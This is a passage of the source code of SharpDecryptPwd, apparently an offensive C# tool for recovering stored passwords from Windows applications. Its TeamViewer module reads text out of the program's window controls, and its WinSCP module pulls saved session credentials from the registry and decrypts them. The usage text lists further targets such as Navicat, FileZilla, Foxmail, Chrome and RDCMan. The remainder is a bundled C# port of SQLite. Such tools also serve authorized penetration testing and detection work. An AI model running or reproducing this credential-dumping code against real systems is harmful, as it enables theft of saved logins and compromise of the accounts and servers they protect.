[DllImport("user32.dll")] 21 | private static extern int GetClassNameW(IntPtr hWnd, [MarshalAs(UnmanagedType.LPWStr)]StringBuilder lpString, int nMaxCount); 22 | [DllImport("user32.dll", EntryPoint = "SendMessage")] 23 | private static extern int SendMessage(IntPtr hwnd, int wMsg, int wParam, StringBuilder lParam); 24 | 25 | public static List wndList = new List(); 26 | 27 | public static bool EnumFunc(IntPtr hWnd, IntPtr lParam) 28 | { 29 | StringBuilder sb = new StringBuilder(256); 30 | const int WM_GETTEXT = 0x0D; 31 | GetClassNameW(hWnd, sb, sb.Capacity); 32 | if (sb.ToString() == "Edit" || sb.ToString() == "Static") 33 | { 34 | WindowInfo wnd = new WindowInfo 35 | { 36 | hWnd = hWnd, 37 | szClassName = sb.ToString() 38 | }; 39 | if (wnd.szClassName == "Edit") 40 | { 41 | StringBuilder stringBuilder = new StringBuilder(256); 42 | SendMessage(hWnd, WM_GETTEXT, 256, stringBuilder); 43 | wnd.szWindowName = stringBuilder.ToString(); 44 | } 45 | else 46 | { 47 | GetWindowTextW(hWnd, sb, sb.Capacity); 48 | wnd.szWindowName = sb.ToString(); 49 | } 50 | //Console.WriteLine("句柄=" + wnd.hWnd.ToString().PadRight(20) + " 类型=" + wnd.szClassName.PadRight(20) + " 名称=" + wnd.szWindowName); 51 | //add it into list 52 | wndList.Add(wnd); 53 | } 54 | return true; 55 | } 56 | 57 | public static string CommandName => "teamviewer"; 58 | 59 | public void DecryptPwd(ArgumentParserContent arguments) 60 | { 61 | IntPtr tvIntPtr = FindWindow(null, "TeamViewer"); 62 | if (tvIntPtr == IntPtr.Zero) 63 | { 64 | Writer.ErrorLine("Did not find the TeamViewer process or used a modified version"); 65 | return; 66 | } 67 | EnumChildProc enumChildProc = new EnumChildProc(EnumFunc); 68 | EnumChildWindows(tvIntPtr, enumChildProc, IntPtr.Zero); 69 | foreach (WindowInfo windowInfo in wndList) 70 | { 71 | // 因为通过句柄读取来获取内容,所以没有办法筛选到具体内容 72 | if (!string.IsNullOrEmpty(windowInfo.szWindowName)) 73 | Writer.Line(windowInfo.szWindowName); 74 | } 75 | } 76 | } 77 | public struct WindowInfo 78 | { 79 | public IntPtr hWnd; 80 | public string szWindowName; 81 | public string szClassName; 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Commands/WinSCP.cs: -------------------------------------------------------------------------------- 1 | using SharpDecryptPwd.Domain; 2 | using SharpDecryptPwd.Helpers; 3 | using System; 4 | using System.IO; 5 | 6 | namespace SharpDecryptPwd.Commands 7 | { 8 | class WinSCP : ICommand 9 | { 10 | static readonly int PW_MAGIC = 0xA3; 11 | static readonly char PW_FLAG = (char)0xFF; 12 | 13 | struct Flags 14 | { 15 | public char flag; 16 | public string remainingPass; 17 | } 18 | 19 | private static Flags DecryptNextCharacterWinSCP(string passwd) 20 | { 21 | Flags Flag; 22 | string bases = "0123456789ABCDEF"; 23 | 24 | int firstval = bases.IndexOf(passwd[0]) * 16; 25 | int secondval = bases.IndexOf(passwd[1]); 26 | int Added = firstval + secondval; 27 | Flag.flag = (char)(((~(Added ^ PW_MAGIC) % 256) + 256) % 256); 28 | Flag.remainingPass = passwd.Substring(2); 29 | return Flag; 30 | } 31 | 32 | private static string DecryptWinSCPPassword(string Host, string userName, string passWord) 33 | { 34 | var clearpwd = string.Empty; 35 | char length; 36 | string unicodeKey = userName + Host; 37 | Flags Flag = DecryptNextCharacterWinSCP(passWord); 38 | 39 | int storedFlag = Flag.flag; 40 | 41 | if (storedFlag == PW_FLAG) 42 | { 43 | Flag = DecryptNextCharacterWinSCP(Flag.remainingPass); 44 | Flag = DecryptNextCharacterWinSCP(Flag.remainingPass); 45 | length = Flag.flag; 46 | } 47 | else 48 | { 49 | length = Flag.flag; 50 | } 51 | 52 | Flag = DecryptNextCharacterWinSCP(Flag.remainingPass); 53 | Flag.remainingPass = Flag.remainingPass.Substring(Flag.flag * 2); 54 | 55 | for (int i = 0; i < length; i++) 56 | { 57 | Flag = DecryptNextCharacterWinSCP(Flag.remainingPass); 58 | clearpwd += Flag.flag; 59 | } 60 | if (storedFlag == PW_FLAG) 61 | { 62 | if (clearpwd.Substring(0, unicodeKey.Length) == unicodeKey) 63 | { 64 | clearpwd = clearpwd.Substring(unicodeKey.Length); 65 | } 66 | else 67 | { 68 | clearpwd = ""; 69 | } 70 | } 71 | return clearpwd; 72 | } 73 | 74 | public static string CommandName => "winscp"; 75 | 76 | public void DecryptPwd(ArgumentParserContent arguments) 77 | { 78 | // 如果是安装版本,则信息在注册表中,如果是便捷式版本,则在 C:\Users\John\AppData\Roaming\winscp.ini 中 79 | string registry = @"Software\Martin Prikryl\WinSCP 2\Sessions"; 80 | var registryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(registry); 81 | if (registryKey != null) 82 | { 83 | Writer.Log($@"WinSCP 2 registry location: HKEY_LOCAL_MACHINE\{registry}"); 84 | using (registryKey) 85 | { 86 | foreach (string rname in registryKey.GetSubKeyNames()) 87 | { 88 | using (var session = registryKey.OpenSubKey(rname)) 89 | { 90 | if (session != null) 91 | { 92 | string hostname = (session.GetValue("HostName") != null) ? session.GetValue("HostName").ToString() : ""; 93 | if (!string.IsNullOrEmpty(hostname)) 94 | { 95 | try 96 | { 97 | string username = session.GetValue("UserName").ToString(); 98 | string password = session.GetValue("Password").ToString(); 99 | Writer.Out("hostname", hostname); 100 | Writer.Out("username", username); 101 | Writer.Out("rawpass", password); 102 | Writer.Out("password", DecryptWinSCPPassword(hostname, username, password) + "\r\n"); 103 | } 104 | catch 105 | { } 106 | } 107 | } 108 | } 109 | } 110 | } 111 | }else 112 | { 113 | Writer.Log($@"Not Find WinSCP 2 registry location: HKEY_LOCAL_MACHINE\{registry}"); 114 | } 115 | 116 | } 117 | } 118 | } 119 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Domain/ArgumentParser.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Collections.Generic; 4 | 5 | namespace SharpDecryptPwd.Domain 6 | { 7 | public static class ArgumentParser 8 | { 9 | public static ArgumentParserResult Parse(IEnumerable args) 10 | { 11 | var arguments = new Dictionary(); 12 | try 13 | { 14 | foreach (var argument in args) 15 | { 16 | var idx = argument.IndexOf(':'); 17 | if (idx > 0) 18 | { 19 | arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); 20 | } 21 | else 22 | { 23 | idx = argument.IndexOf('='); 24 | if (idx > 0) 25 | { 26 | arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); 27 | } 28 | else 29 | { 30 | arguments[argument] = string.Empty; 31 | } 32 | } 33 | } 34 | 35 | return ArgumentParserResult.Success(arguments); 36 | } 37 | catch (Exception ex) 38 | { 39 | Debug.WriteLine(ex.Message); 40 | return ArgumentParserResult.Failure(); 41 | } 42 | } 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Domain/ArgumentParserContent.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace SharpDecryptPwd.Domain 7 | { 8 | public class ArgumentParserContent 9 | { 10 | public string module { get; } 11 | public string argument { get; } 12 | public string path { get; } 13 | public string destination { get; } 14 | public string user { get; } 15 | public string sid { get; } 16 | 17 | 18 | public ArgumentParserContent(Dictionary arguments) 19 | { 20 | module = ArgumentParser(arguments, "/module"); 21 | argument = ArgumentParser(arguments, "/argument"); 22 | destination = ArgumentParser(arguments, "/destination"); 23 | user = ArgumentParser(arguments, "/user"); 24 | sid = ArgumentParser(arguments, "/sid"); 25 | path = ArgumentParser(arguments, "/path"); 26 | } 27 | 28 | private string ArgumentParser(Dictionary arguments, string flag) 29 | { 30 | if (arguments.ContainsKey(flag) && !string.IsNullOrEmpty(arguments[flag])) 31 | { 32 | return arguments[flag]; 33 | } 34 | return null; 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Domain/ArgumentParserResult.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace SharpDecryptPwd.Domain 4 | { 5 | public class ArgumentParserResult 6 | { 7 | public bool ParsedOk { get; } 8 | public ArgumentParserContent Arguments { get; } 9 | 10 | private ArgumentParserResult(bool parsedOk, Dictionary arguments) 11 | { 12 | ParsedOk = parsedOk; 13 | Arguments = new ArgumentParserContent(arguments); 14 | } 15 | 16 | public static ArgumentParserResult Success(Dictionary arguments) 17 | => new ArgumentParserResult(true, arguments); 18 | 19 | public static ArgumentParserResult Failure() 20 | => new ArgumentParserResult(false, null); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Domain/CommandCollection.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using SharpDecryptPwd.Commands; 3 | using System.Collections.Generic; 4 | 5 | namespace SharpDecryptPwd.Domain 6 | { 7 | public class CommandCollection 8 | { 9 | public bool ExecuteCommand(string commandName, ArgumentParserContent arguments, Dictionary> _availableCommands) 10 | { 11 | bool commandWasFound; 12 | if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false) 13 | commandWasFound = false; 14 | else 15 | { 16 | // 創建命令對象 17 | var command = _availableCommands[commandName].Invoke(); 18 | 19 | // 代入命令行中的參數 20 | command.DecryptPwd(arguments); 21 | 22 | commandWasFound = true; 23 | } 24 | return commandWasFound; 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Helpers/Info.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace SharpDecryptPwd.Helpers 7 | { 8 | public class Info 9 | { 10 | public static void ShowLogo() 11 | { 12 | Console.WriteLine($@" 13 | _____ _ _____ _ _____ _ 14 | / ____| | | __ \ | | | __ \ | | 15 | | (___ | |__ __ _ _ __ _ __ | | | | ___ ___ _ __ _ _ _ __ | |_| |__) |_ ____| | 16 | \___ \| '_ \ / _` | '__| '_ \| | | |/ _ \/ __| '__| | | | '_ \| __| ___/\ \ /\ / / _` | 17 | ____) | | | | (_| | | | |_) | |__| | __/ (__| | | |_| | |_) | |_| | \ V V / (_| | 18 | |_____/|_| |_|\__,_|_| | .__/|_____/ \___|\___|_| \__, | .__/ \__|_| \_/\_/ \__,_| 19 | | | __/ | | 20 | |_| |___/|_| by Rcoil V 2.3.0 21 | "); 22 | } 23 | 24 | public static void ShowUsage() 25 | { 26 | string FileName = System.Diagnostics.Process.GetCurrentProcess().ProcessName; 27 | string usage = $@" 28 | ### Command Line Usage ### 29 | 30 | {FileName} Navicat 31 | {FileName} Xmanager 32 | {FileName} TeamViewer 33 | {FileName} FileZilla 34 | {FileName} Foxmail 35 | {FileName} TortoiseSVN 36 | {FileName} WinSCP 37 | {FileName} Chrome 38 | {FileName} RDCMan 39 | {FileName} SunLogin 40 | 41 | "; 42 | Console.WriteLine(usage); 43 | Environment.Exit(0); 44 | } 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Helpers/Writer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SharpDecryptPwd.Helpers 4 | { 5 | class Writer 6 | { 7 | public static void Line(string log) 8 | { 9 | Console.WriteLine(log); 10 | } 11 | 12 | public static void Log(string log) 13 | { 14 | Console.WriteLine("[+] {0}", log); 15 | } 16 | 17 | public static void Out(string key, string value) 18 | { 19 | Console.WriteLine(" [>] {0,-15}: {1}", key, value); 20 | } 21 | 22 | public static void Warnning(string log) 23 | { 24 | Console.WriteLine($"[!] Warnning: {log}"); 25 | } 26 | 27 | public static void Failed(string log) 28 | { 29 | Console.WriteLine($"[!] Failed: \r\n{log}"); 30 | } 31 | 32 | public static void ErrorLine(string log) 33 | { 34 | Console.WriteLine($"[!] Error: \r\n{0}", log); 35 | } 36 | 37 | public static void Error(string log) 38 | { 39 | Console.WriteLine($"[!] Error: \r\n{0}", log); 40 | Environment.Exit(0); 41 | } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/SQLiteDatabase.cs: -------------------------------------------------------------------------------- 1 | // $Header$ 2 | using System; 3 | using System.Data; 4 | using System.Collections; 5 | using System.Collections.Generic; 6 | using System.Threading; 7 | using System.Security.Cryptography; 8 | using System.Text; 9 | using System.Diagnostics; 10 | using System.Security.Principal; 11 | using System.IO; 12 | using System.Reflection; 13 | 14 | namespace CS_SQLite3 15 | { 16 | 17 | using sqlite = CSSQLite.sqlite3; 18 | using Vdbe = CSSQLite.Vdbe; 19 | /// 20 | /// C#-SQLite wrapper with functions for opening, closing and executing queries. 21 | /// 22 | public class SQLiteDatabase 23 | { 24 | // pointer to database 25 | private sqlite db; 26 | 27 | /// 28 | /// Creates new instance of SQLiteBase class with no database attached. 29 | /// 30 | public SQLiteDatabase() 31 | { 32 | db = null; 33 | } 34 | /// 35 | /// Creates new instance of SQLiteDatabase class and opens database with given name. 36 | /// 37 | /// Name (and path) to SQLite database file 38 | public SQLiteDatabase( String DatabaseName ) 39 | { 40 | OpenDatabase( DatabaseName ); 41 | } 42 | 43 | /// 44 | /// Opens database. 45 | /// 46 | /// Name of database file 47 | public void OpenDatabase( String DatabaseName ) 48 | { 49 | // opens database 50 | if ( CSSQLite.sqlite3_open( DatabaseName, ref db ) != CSSQLite.SQLITE_OK ) 51 | { 52 | // if there is some error, database pointer is set to 0 and exception is throws 53 | db = null; 54 | throw new Exception( "Error with opening database " + DatabaseName + "!" ); 55 | } 56 | } 57 | 58 | /// 59 | /// Closes opened database. 60 | /// 61 | public void CloseDatabase() 62 | { 63 | // closes the database if there is one opened 64 | if ( db != null ) 65 | { 66 | CSSQLite.sqlite3_close( db ); 67 | } 68 | } 69 | 70 | /// 71 | /// Returns connection 72 | /// 73 | public sqlite Connection() 74 | { 75 | return db; 76 | } 77 | 78 | /// 79 | /// Returns the list of tables in opened database. 80 | /// 81 | /// 82 | public ArrayList GetTables() 83 | { 84 | // executes query that select names of all tables in master table of the database 85 | String query = "SELECT name FROM sqlite_master " + 86 | "WHERE type = 'table'" + 87 | "ORDER BY 1"; 88 | DataTable table = ExecuteQuery( query ); 89 | 90 | // Return all table names in the ArrayList 91 | ArrayList list = new ArrayList(); 92 | foreach ( DataRow row in table.Rows ) 93 | { 94 | list.Add( row.ItemArray[0].ToString() ); 95 | } 96 | return list; 97 | } 98 | 99 | /// 100 | /// Executes query that does not return anything (e.g. UPDATE, INSERT, DELETE). 101 | /// 102 | /// 103 | public void ExecuteNonQuery( String query ) 104 | { 105 | // calles SQLite function that executes non-query 106 | CSSQLite.sqlite3_exec( db, query, 0, 0, 0 ); 107 | // if there is error, excetion is thrown 108 | if ( db.errCode != CSSQLite.SQLITE_OK ) 109 | throw new Exception( "Error with executing non-query: \"" + query + "\"!\n" + CSSQLite.sqlite3_errmsg( db ) ); 110 | } 111 | 112 | /// 113 | /// Executes query that does return something (e.g. SELECT). 114 | /// 115 | /// 116 | /// 117 | public DataTable ExecuteQuery( String query ) 118 | { 119 | // compiled query 120 | SQLiteVdbe statement = new SQLiteVdbe(this, query); 121 | 122 | // table for result of query 123 | DataTable table = new DataTable(); 124 | 125 | // create new instance of DataTable with name "resultTable" 126 | table = new DataTable( "resultTable" ); 127 | 128 | // reads rows 129 | do { } while ( ReadNextRow( statement.VirtualMachine(), table ) == CSSQLite.SQLITE_ROW ); 130 | // finalize executing this query 131 | statement.Close(); 132 | // returns table 133 | return table; 134 | } 135 | 136 | // private function for reading rows and creating table and columns 137 | private int ReadNextRow( Vdbe vm, DataTable table ) 138 | { 139 | int columnCount = table.Columns.Count; 140 | if ( columnCount == 0 ) 141 | { 142 | if ( ( columnCount = ReadColumnNames( vm, table ) ) == 0 ) return CSSQLite.SQLITE_ERROR; 143 | } 144 | 145 | int resultType; 146 | if ( ( resultType = CSSQLite.sqlite3_step( vm) ) == CSSQLite.SQLITE_ROW ) 147 | { 148 | object[] columnValues = new object[columnCount]; 149 | 150 | for ( int i = 0 ; i < columnCount ; i++ ) 151 | { 152 | int columnType = CSSQLite.sqlite3_column_type( vm, i ); 153 | switch ( columnType ) 154 | { 155 | case CSSQLite.SQLITE_INTEGER: 156 | { 157 | columnValues[i] = CSSQLite.sqlite3_column_int( vm, i ); 158 | break; 159 | } 160 | case CSSQLite.SQLITE_FLOAT: 161 | { 162 | columnValues[i] = CSSQLite.sqlite3_column_double( vm, i ); 163 | break; 164 | } 165 | case CSSQLite.SQLITE_TEXT: 166 | { 167 | columnValues[i] = CSSQLite.sqlite3_column_text( vm, i ); 168 | break; 169 | } 170 | case CSSQLite.SQLITE_BLOB: 171 | { 172 | // Something goes wrong between adding this as a column value and converting to a row value. 173 | byte[] encBlob = CSSQLite.sqlite3_column_blob(vm, i); 174 | string base64 = Convert.ToBase64String(encBlob); 175 | //byte[] decPass = ProtectedData.Unprotect(encBlob, null, DataProtectionScope.CurrentUser); 176 | //string password = Encoding.ASCII.GetString(decPass); 177 | //columnValues[i] = password; 178 | columnValues[i] = base64; 179 | 180 | break; 181 | } 182 | default: 183 | { 184 | columnValues[i] = ""; 185 | break; 186 | } 187 | } 188 | } 189 | table.Rows.Add( columnValues ); 190 | } 191 | return resultType; 192 | } 193 | // private function for creating Column Names 194 | // Return number of colums read 195 | private int ReadColumnNames( Vdbe vm, DataTable table ) 196 | { 197 | 198 | String columnName = ""; 199 | int columnType = 0; 200 | // returns number of columns returned by statement 201 | int columnCount = CSSQLite.sqlite3_column_count( vm ); 202 | object[] columnValues = new object[columnCount]; 203 | 204 | try 205 | { 206 | // reads columns one by one 207 | for ( int i = 0 ; i < columnCount ; i++ ) 208 | { 209 | columnName = CSSQLite.sqlite3_column_name( vm, i ); 210 | columnType = CSSQLite.sqlite3_column_type( vm, i ); 211 | switch ( columnType ) 212 | { 213 | case CSSQLite.SQLITE_INTEGER: 214 | { 215 | // adds new integer column to table 216 | table.Columns.Add( columnName, Type.GetType( "System.Int64" ) ); 217 | break; 218 | } 219 | case CSSQLite.SQLITE_FLOAT: 220 | { 221 | table.Columns.Add( columnName, Type.GetType( "System.Double" ) ); 222 | break; 223 | } 224 | case CSSQLite.SQLITE_TEXT: 225 | { 226 | table.Columns.Add( columnName, typeof(string) ); 227 | break; 228 | } 229 | case CSSQLite.SQLITE_BLOB: 230 | { 231 | table.Columns.Add( columnName, typeof(byte[]) ); 232 | break; 233 | } 234 | default: 235 | { 236 | table.Columns.Add( columnName, Type.GetType( "System.String" ) ); 237 | break; 238 | } 239 | } 240 | } 241 | } 242 | catch 243 | { 244 | return 0; 245 | } 246 | return table.Columns.Count; 247 | } 248 | 249 | } 250 | 251 | } 252 | 253 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/SQLiteVdbe.cs: -------------------------------------------------------------------------------- 1 | // $Header$ 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Text; 5 | using CS_SQLite3; 6 | using System.Data; 7 | using System.Collections; 8 | 9 | namespace CS_SQLite3 10 | { 11 | 12 | using sqlite = CSSQLite.sqlite3; 13 | using Vdbe = CSSQLite.Vdbe; 14 | 15 | /// 16 | /// C#-SQLite wrapper with functions for opening, closing and executing queries. 17 | /// 18 | public class SQLiteVdbe 19 | { 20 | private Vdbe vm = null; 21 | private string LastError = ""; 22 | private int LastResult = 0; 23 | 24 | /// 25 | /// Creates new instance of SQLiteVdbe class by compiling a statement 26 | /// 27 | /// 28 | /// Vdbe 29 | public SQLiteVdbe( SQLiteDatabase db, String query ) 30 | { 31 | vm = null; 32 | 33 | // prepare and compile 34 | CSSQLite.sqlite3_prepare_v2( db.Connection(), query, query.Length, ref vm, 0 ); 35 | } 36 | 37 | /// 38 | /// Return Virtual Machine Pointer 39 | /// 40 | /// 41 | /// Vdbe 42 | public Vdbe VirtualMachine() 43 | { 44 | return vm; 45 | } 46 | 47 | /// 48 | /// 49 | /// BindInteger 50 | /// 51 | /// 52 | /// 53 | /// LastResult 54 | public int BindInteger(int index, int bInteger ) 55 | { 56 | if ( (LastResult = CSSQLite.sqlite3_bind_int( vm, index, bInteger ))== CSSQLite.SQLITE_OK ) 57 | { LastError = ""; } 58 | else 59 | { 60 | LastError = "Error " + LastError + "binding Integer [" + bInteger + "]"; 61 | } 62 | return LastResult; 63 | } 64 | 65 | /// 66 | /// 67 | /// BindLong 68 | /// 69 | /// 70 | /// 71 | /// LastResult 72 | public int BindLong( int index, long bLong ) 73 | { 74 | if ( ( LastResult = CSSQLite.sqlite3_bind_int64( vm, index, bLong ) ) == CSSQLite.SQLITE_OK ) 75 | { LastError = ""; } 76 | else 77 | { 78 | LastError = "Error " + LastError + "binding Long [" + bLong + "]"; 79 | } 80 | return LastResult; 81 | } 82 | 83 | /// 84 | /// BindText 85 | /// 86 | /// 87 | /// 88 | /// LastResult 89 | public int BindText( int index, string bText ) 90 | { 91 | if ( ( LastResult = CSSQLite.sqlite3_bind_text( vm, index, bText ,-1,null) ) == CSSQLite.SQLITE_OK ) 92 | { LastError = ""; } 93 | else 94 | { 95 | LastError = "Error " + LastError + "binding Text [" + bText + "]"; 96 | } 97 | return LastResult; 98 | } 99 | 100 | /// 101 | /// Execute statement 102 | /// 103 | /// 104 | /// LastResult 105 | public int ExecuteStep( ) 106 | { 107 | // Execute the statement 108 | int LastResult = CSSQLite.sqlite3_step( vm ); 109 | 110 | return LastResult; 111 | } 112 | 113 | /// 114 | /// Returns Result column as Long 115 | /// 116 | /// 117 | /// Result column 118 | public long Result_Long(int index) 119 | { 120 | return CSSQLite.sqlite3_column_int64( vm, index ); 121 | } 122 | 123 | /// 124 | /// Returns Result column as Text 125 | /// 126 | /// 127 | /// Result column 128 | public string Result_Text( int index ) 129 | { 130 | return CSSQLite.sqlite3_column_text( vm, index ); 131 | } 132 | 133 | 134 | /// 135 | /// Returns Count of Result Rows 136 | /// 137 | /// 138 | /// Count of Results 139 | public int ResultColumnCount( ) 140 | { 141 | return vm.pResultSet == null ? 0 : vm.pResultSet.Length; 142 | } 143 | 144 | /// 145 | /// Reset statement 146 | /// 147 | /// 148 | /// 149 | public void Reset() 150 | { 151 | // Reset the statment so it's ready to use again 152 | CSSQLite.sqlite3_reset( vm ); 153 | } 154 | 155 | /// 156 | /// Closes statement 157 | /// 158 | /// 159 | /// LastResult 160 | public void Close() 161 | { 162 | CSSQLite.sqlite3_finalize( ref vm ); 163 | } 164 | 165 | } 166 | } 167 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/Hash_h.cs: -------------------------------------------------------------------------------- 1 | using u8 = System.Byte; 2 | using u32 = System.UInt32; 3 | 4 | namespace CS_SQLite3 5 | { 6 | public partial class CSSQLite 7 | { 8 | /* 9 | ** 2001 September 22 10 | ** 11 | ** The author disclaims copyright to this source code. In place of 12 | ** a legal notice, here is a blessing: 13 | ** 14 | ** May you do good and not evil. 15 | ** May you find forgiveness for yourself and forgive others. 16 | ** May you share freely, never taking more than you give. 17 | ** 18 | ************************************************************************* 19 | ** This is the header file for the generic hash-table implemenation 20 | ** used in SQLite. 21 | ** 22 | ** $Id: hash.h,v 1.15 2009/05/02 13:29:38 drh Exp $ 23 | ** 24 | ************************************************************************* 25 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 26 | ** C#-SQLite is an independent reimplementation of the SQLite software library 27 | ** 28 | ** $Header$ 29 | ************************************************************************* 30 | */ 31 | //#if !_SQLITE_HASH_H_ 32 | //#define _SQLITE_HASH_H_ 33 | 34 | /* Forward declarations of structures. */ 35 | //typedef struct Hash Hash; 36 | //typedef struct HashElem HashElem; 37 | 38 | /* A complete hash table is an instance of the following structure. 39 | ** The internals of this structure are intended to be opaque -- client 40 | ** code should not attempt to access or modify the fields of this structure 41 | ** directly. Change this structure only by using the routines below. 42 | ** However, some of the "procedures" and "functions" for modifying and 43 | ** accessing this structure are really macros, so we can't really make 44 | ** this structure opaque. 45 | ** 46 | ** All elements of the hash table are on a single doubly-linked list. 47 | ** Hash.first points to the head of this list. 48 | ** 49 | ** There are Hash.htsize buckets. Each bucket points to a spot in 50 | ** the global doubly-linked list. The contents of the bucket are the 51 | ** element pointed to plus the next _ht.count-1 elements in the list. 52 | ** 53 | ** Hash.htsize and Hash.ht may be zero. In that case lookup is done 54 | ** by a linear search of the global list. For small tables, the 55 | ** Hash.ht table is never allocated because if there are few elements 56 | ** in the table, it is faster to do a linear search than to manage 57 | ** the hash table. 58 | */ 59 | public class _ht 60 | { /* the hash table */ 61 | public int count; /* Number of entries with this hash */ 62 | public HashElem chain; /* Pointer to first entry with this hash */ 63 | }; 64 | 65 | public class Hash 66 | { 67 | public u32 htsize = 31; /* Number of buckets in the hash table */ 68 | public u32 count; /* Number of entries in this table */ 69 | public HashElem first; /* The first element of the array */ 70 | public _ht[] ht; 71 | public Hash Copy() 72 | { 73 | if ( this == null ) 74 | return null; 75 | else 76 | { 77 | Hash cp = (Hash)MemberwiseClone(); 78 | return cp; 79 | } 80 | } 81 | }; 82 | 83 | /* Each element in the hash table is an instance of the following 84 | ** structure. All elements are stored on a single doubly-linked list. 85 | ** 86 | ** Again, this structure is intended to be opaque, but it can't really 87 | ** be opaque because it is used by macros. 88 | */ 89 | public class HashElem 90 | { 91 | public HashElem next; 92 | public HashElem prev; /* Next and previous elements in the table */ 93 | public object data; /* Data associated with this element */ 94 | public string pKey; 95 | public int nKey; /* Key associated with this element */ 96 | }; 97 | 98 | /* 99 | ** Access routines. To delete, insert a NULL pointer. 100 | */ 101 | //void sqlite3HashInit(Hash*); 102 | //void *sqlite3HashInsert(Hash*, const char *pKey, int nKey, void *pData); 103 | //void *sqlite3HashFind(const Hash*, const char *pKey, int nKey); 104 | //void sqlite3HashClear(Hash*); 105 | 106 | /* 107 | ** Macros for looping over all elements of a hash table. The idiom is 108 | ** like this: 109 | ** 110 | ** Hash h; 111 | ** HashElem p; 112 | ** ... 113 | ** for(p=sqliteHashFirst(&h); p; p=sqliteHashNext(p)){ 114 | ** SomeStructure pData = sqliteHashData(p); 115 | ** // do something with pData 116 | ** } 117 | */ 118 | //#define sqliteHashFirst(H) ((H).first) 119 | static HashElem sqliteHashFirst( Hash H ) { return H.first; } 120 | //#define sqliteHashNext(E) ((E).next) 121 | static HashElem sqliteHashNext( HashElem E ) { return E.next; } 122 | //#define sqliteHashData(E) ((E).data) 123 | static object sqliteHashData( HashElem E ) { return E.data; } 124 | /* #define sqliteHashKey(E) ((E)->pKey) // NOT USED */ 125 | /* #define sqliteHashKeysize(E) ((E)->nKey) // NOT USED */ 126 | 127 | /* 128 | ** Number of entries in a hash table 129 | */ 130 | /* #define sqliteHashCount(H) ((H)->count) // NOT USED */ 131 | 132 | //#endif // * _SQLITE_HASH_H_ */ 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/auth_c.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Text; 4 | 5 | namespace CS_SQLite3 6 | { 7 | using sqlite3_value = CSSQLite.Mem; 8 | 9 | public partial class CSSQLite 10 | { 11 | /* 12 | ** 2003 January 11 13 | ** 14 | ** The author disclaims copyright to this source code. In place of 15 | ** a legal notice, here is a blessing: 16 | ** 17 | ** May you do good and not evil. 18 | ** May you find forgiveness for yourself and forgive others. 19 | ** May you share freely, never taking more than you give. 20 | ** 21 | ************************************************************************* 22 | ** This file contains code used to implement the sqlite3_set_authorizer() 23 | ** API. This facility is an optional feature of the library. Embedded 24 | ** systems that do not need this facility may omit it by recompiling 25 | ** the library with -DSQLITE_OMIT_AUTHORIZATION=1 26 | ** 27 | ** $Id: auth.c,v 1.32 2009/07/02 18:40:35 danielk1977 Exp $ 28 | ** 29 | ************************************************************************* 30 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 31 | ** C#-SQLite is an independent reimplementation of the SQLite software library 32 | ** 33 | ** $Header$ 34 | ************************************************************************* 35 | */ 36 | //#include "sqliteInt.h" 37 | 38 | /* 39 | ** All of the code in this file may be omitted by defining a single 40 | ** macro. 41 | */ 42 | #if !SQLITE_OMIT_AUTHORIZATION 43 | 44 | /* 45 | ** Set or clear the access authorization function. 46 | ** 47 | ** The access authorization function is be called during the compilation 48 | ** phase to verify that the user has read and/or write access permission on 49 | ** various fields of the database. The first argument to the auth function 50 | ** is a copy of the 3rd argument to this routine. The second argument 51 | ** to the auth function is one of these constants: 52 | ** 53 | ** SQLITE_CREATE_INDEX 54 | ** SQLITE_CREATE_TABLE 55 | ** SQLITE_CREATE_TEMP_INDEX 56 | ** SQLITE_CREATE_TEMP_TABLE 57 | ** SQLITE_CREATE_TEMP_TRIGGER 58 | ** SQLITE_CREATE_TEMP_VIEW 59 | ** SQLITE_CREATE_TRIGGER 60 | ** SQLITE_CREATE_VIEW 61 | ** SQLITE_DELETE 62 | ** SQLITE_DROP_INDEX 63 | ** SQLITE_DROP_TABLE 64 | ** SQLITE_DROP_TEMP_INDEX 65 | ** SQLITE_DROP_TEMP_TABLE 66 | ** SQLITE_DROP_TEMP_TRIGGER 67 | ** SQLITE_DROP_TEMP_VIEW 68 | ** SQLITE_DROP_TRIGGER 69 | ** SQLITE_DROP_VIEW 70 | ** SQLITE_INSERT 71 | ** SQLITE_PRAGMA 72 | ** SQLITE_READ 73 | ** SQLITE_SELECT 74 | ** SQLITE_TRANSACTION 75 | ** SQLITE_UPDATE 76 | ** 77 | ** The third and fourth arguments to the auth function are the name of 78 | ** the table and the column that are being accessed. The auth function 79 | ** should return either SQLITE_OK, SQLITE_DENY, or SQLITE_IGNORE. If 80 | ** SQLITE_OK is returned, it means that access is allowed. SQLITE_DENY 81 | ** means that the SQL statement will never-run - the 